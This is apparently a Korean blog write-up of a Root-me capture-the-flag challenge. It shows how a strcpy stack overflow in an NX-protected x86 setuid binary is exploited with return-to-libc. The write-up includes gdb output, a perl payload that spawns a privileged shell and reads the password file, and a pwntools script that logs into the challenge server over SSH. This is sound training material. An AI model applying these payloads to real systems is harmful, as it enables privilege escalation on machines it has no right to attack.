[App-System] ELF x86 - Stack buffer overflow basic 6

2022. 7. 12. 11:42·Wargame/Root me
728x90
반응형

1. intro

2. code 및 분석

2.1.  code

#include <stdio.h>
#include <string.h>
#include <sys/types.h>
#include <unistd.h>
 
int main (int argc, char ** argv){
    char message[20];
 
    if (argc != 2){
        printf ("Usage: %s <message>\n", argv[0]);
        return -1;
    }
 
    setreuid(geteuid(), geteuid());
    strcpy (message, argv[1]);
    printf ("Your message: %s\n", message);
    return 0;
}

2.2. 분석

argv[1]을 message 변수에 복사하고 이를 출력한다.

 

3. 취약점 확인 및 공격 준비

3.1. 취약점

argv[1]의 크기를 체크하지 않아 overflow가 발생한다.

3.2. 공격 준비

NX 보호기법이 걸려있는 bof 문제이다.

이 경우 heap buffer나 stack buffer에 shellcode 삽입 시 실행되지 않는다.

 

이에 RTL 즉 return to library 기법으로 우회할 수 있다.

즉, return 시 library의 system, execve 등의 함수 주소로 jmp하고 해당 함수에 맞는 인자를 적절히 넣어주면 된다.

 

우선 system 함수를 사용해보자.

system 함수의 원형은

int system(const char *string);

이며, 모든 함수는 해당 함수 실행 후 다시 돌아갈 위치를 저장해야하기에 실질적으로 stack에는

함수 주소 + 함수 종료 후 돌아갈 주소 + 인자1 + 인자2 + 인자3 + ...

와 같이 데이터가 쌓이게 된다.

 

그러므로 본 문제에서는

system 함수 주소 + dummy + /bin/sh 문자열 주소

의 구조가 되어야 한다.

 

그리고 /bin/sh의 경우 직접적으로 문자열을 찾아 해당 주소를 넣어줘도 되지만,

스택 내에 많은 값 중 적절한 임의의 문자열 (A 라던지, B 라던지...) 로된 shell을 실행시켜주는 프로그램을 작성해두고, path 또한 추가하여 해당 프로그램을 실행하는 방법이 있다.

 

우선 임의의 문자열을 실행하는 방법으로 시도해보자.

 

간단히 shell을 실행해주는 프로그램을 코딩하면 아래와 같다.

#include <stdio.h>

int main() {
	system("/bin/sh");
}

컴파일해서 실행해보면 shell이 잘 뜬다.

app-systeme-ch33@challenge02:/tmp/wv$ vi a.c
app-systeme-ch33@challenge02:/tmp/wv$ gcc -o a a.c
a.c: In function ‘main’:
a.c:4:2: warning: implicit declaration of function ‘system’ [-Wimplicit-function-declaration]
  system("/bin/sh");
  ^~~~~~
app-systeme-ch33@challenge02:/tmp/wv$ ./a
$ id
uid=1133(app-systeme-ch33) gid=1133(app-systeme-ch33) groups=1133(app-systeme-ch33),100(users)

 

이제 어디서든 a를 입력하면 해당 프로그램이 실행될 수 있도록 PATH를 등록하고 다시 실행해보면

app-systeme-ch33@challenge02:/tmp/wv$ export PATH="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin:/opt/tools/checksec/:/tmp/wv"
app-systeme-ch33@challenge02:/tmp/wv$ a
$ id
uid=1133(app-systeme-ch33) gid=1133(app-systeme-ch33) groups=1133(app-systeme-ch33),100(users)

잘 실행 된다.

 

이제 system 함수의 주소를 확인해보면 간단히 gdb로 확인할 수 있다.

gef➤  p system
$1 = {<text variable, no debug info>} 0xb7e68310 <system>

단, 프로그램 실행 후 해당 주소 확인이 가능하다.

(그냥 main에 브레이크를 걸고 실행 후 위와 같이 확인 가능하다.)

 

이제 argv[1]이 어디로 얼마나 복사되는지 확인해보면

   0x08048531 <+75>:    mov    0xc(%ebp),%eax
   0x08048534 <+78>:    add    $0x4,%eax
   0x08048537 <+81>:    mov    (%eax),%eax
   0x08048539 <+83>:    push   %eax
   0x0804853a <+84>:    lea    -0x1c(%ebp),%eax
   0x0804853d <+87>:    push   %eax
   0x0804853e <+88>:    call   0x8048390 <strcpy@plt>

ebp-0x1c 즉 -28 byte 위치에 복사된다.
그러므로 ret 위치는 입력받는 값 32 byte 이후 4 byte가 된다.

 

마지막으로 shell을 실행시켜주는 프로그램의 파일 명인 a 즉 0x61을 메모리에서 찾아야하는데,
가능하면 변조되지 않는 code 영역에서 찾는 것이 좋고,
가장 유의해야하는 부분은 문자 이후에 null 값이 있어야 끝으로 인지하기에 실질적으로 찾아야하는 값은 0x0061이다.

만, 잘 찾아지지 않아 반대로 아무 값이나 가져오고 해당 값으로 파일명을 변경해주었다.

gef➤  x/x 0x8048034
0x8048034:      0x00000006
app-systeme-ch33@challenge02:/tmp/wv$ cp a `perl -e 'print "\x06"'`
app-systeme-ch33@challenge02:/tmp/wv$ ls
''$'\006'   a   a.c

 

4. exploit

 

app-systeme-ch33@challenge02:~$ ./ch33 `perl -e 'print "A"x32,"\x10\x83\xe6\xb7","AAAA","\x34\x80\x04\x08"'`
Your message: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA▒▒AAAA4▒
$ id
uid=1233(app-systeme-ch33-cracked) gid=1133(app-systeme-ch33) groups=1133(app-systeme-ch33),100(users)
$ cat .passwd
----------#플래그는 삭제

2022.07.14 update

이번에는 /bin/sh 문자열을 찾아 인자로 넘기기.

gef➤  p system
$2 = {<text variable, no debug info>} 0xb7e68310 <system>
gef➤  find &system,+999999999,"/bin/sh"
0xb7f8ad4c
warning: Unable to access 16000 bytes of target memory at 0xb7fd8f54, halting search.
1 pattern found.
gef➤  x/s 0xb7f8ad4c
0xb7f8ad4c:     "/bin/sh"
from pwn import *

system_add=0xb7e68310
binsh_add=0xb7f8ad4c

pay=['','']

pay[0] = b'./ch33'

pay[1] = b''
pay[1] += b'A'*32
pay[1] += p32(system_add)
pay[1] += b'DUMY'
pay[1] += p32(binsh_add)

s = ssh(user='app-systeme-ch33',host='challenge02.root-me.org',port=2222,password='app-systeme-ch33')
p = s.process(pay)

p.interactive()

 

728x90
반응형

'Wargame > Root me' 카테고리의 다른 글

[App-Script] Bash - System 1  (0) 2022.07.15
[App-System] ELF x86 - Format String Bug Basic 3  (0) 2022.07.13
[App-System] ELF x86 - Stack buffer overflow basic 4  (0) 2022.07.11
[App-System] ELF x64 - Double free  (0) 2022.07.09
[App-System] ELF x64 - Stack buffer overflow - PIE  (0) 2022.07.09
'Wargame/Root me' 카테고리의 다른 글
  • [App-Script] Bash - System 1
  • [App-System] ELF x86 - Format String Bug Basic 3
  • [App-System] ELF x86 - Stack buffer overflow basic 4
  • [App-System] ELF x64 - Double free
wyv3rn
wyv3rn
아저씨의 흔한 취미. wyv3rn#1249
  • wyv3rn
    think storage
    wyv3rn
  • 전체
    오늘
    어제
    • 분류 전체보기 (494) N
      • To do list (6)
        • Doing (0)
        • Complete (6)
      • Diary (35)
      • Tips & theory (77)
      • Kernel Exploit (23) N
        • Theory (15)
        • Exercise (1) N
      • Wargame (313)
        • pwn.college (34)
        • Dreamhack (148)
        • pwnable.kr (15)
        • Lord of Sqlinjection (3)
        • Cryptohack (20)
        • Root me (27)
        • CodeEngn (4)
        • Exploit Education (22)
        • ROP Emporium (8)
        • H4C (10)
        • Hackerchool (22)
      • CTF (40)
        • Solved (38)
        • Unsolved (2)
      • Script (0)
  • 블로그 메뉴

    • 홈
    • 방명록
  • 링크

  • 공지사항

    • PWN wargame 모음 (및 느낀점)
    • 비공개 글들에 대해.
    • 뭐라도 하나 얻어가시길...
  • 인기 글

  • 태그

    32bit
    vtable
    root
    docker
    tcache
    CANARY
    RTL
    exploit education
    x86
    64bit
    dreamhack
    _IO_FILE
    libc
    heap
    phoenix
    Me
    x64
    Format String Bug
    BOF
    FSB
    lob
    root-me
    cryptohack
    la ctf
    pwntools
    rop
    pwnable.kr
    Buffer Overflow
    hackerschool
    ROOT ME
  • 최근 댓글

  • 최근 글

  • 250x250
    반응형
  • hELLO· Designed By정상우.v4.10.3
wyv3rn
[App-System] ELF x86 - Stack buffer overflow basic 6
상단으로

티스토리툴바